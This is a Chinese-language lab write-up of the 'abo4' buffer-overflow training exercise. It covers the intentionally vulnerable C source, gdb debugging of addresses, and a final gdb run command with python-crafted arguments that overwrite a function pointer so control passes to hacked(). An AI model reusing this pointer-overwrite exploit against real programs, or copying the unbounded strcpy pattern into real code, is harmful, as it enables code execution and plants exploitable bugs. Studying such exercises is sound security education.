一、实验说明
1、实验环境:
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
2、实验工具:
gdb
3、源码
首先看看abo4的源码:
/* abo4.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* After this one, the next is just an Eureka! away */
int hacked(void)
{
printf("Congratulation! You have successed!\n");
return 0;
}
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}
4、实验目的
构造字符串,实现栈溢出,从而执行函数hacked()。
5、编译:
二、分析汇编
在后半部分的汇编代码中,出现了三处函数调用。
三、调试
1、设置断点并输入字符串开始运行程序。
2、使用c指令直接运行到第二个断点处,eax中存储了buf的地址,为0xffffce9c。
3、使用c指令直接运行到第三个断点处,ebp=0xffffcfa8,pbuf的地址为[ebp-0xc]=0x804b008。
4、单步运行,此时1和2两处的strcpy都已完成复制操作。
5、继续单步调试,发现在数据段0x804a028处确实存有fn()的函数地址,即0x8048390,证明了我们最初的猜想。
四、构造字符串
首先,通过1处的strcpy()制造溢出,将pbuf的地址修改为0x804a028;然后,通过2处的strcpy(),将hacked()的地址复制到0x804a028,替换掉原来fn()的地址,用以完成跳转。
buf:‘c’*256+0x804a028
pbuf: 0x80484cb(hacked()的地址)
r $(python -c "print('c'*256+'\x28\xa0\x04\x08')") $(python -c "print('\xcb\x84\x04\x08')") alwin_cx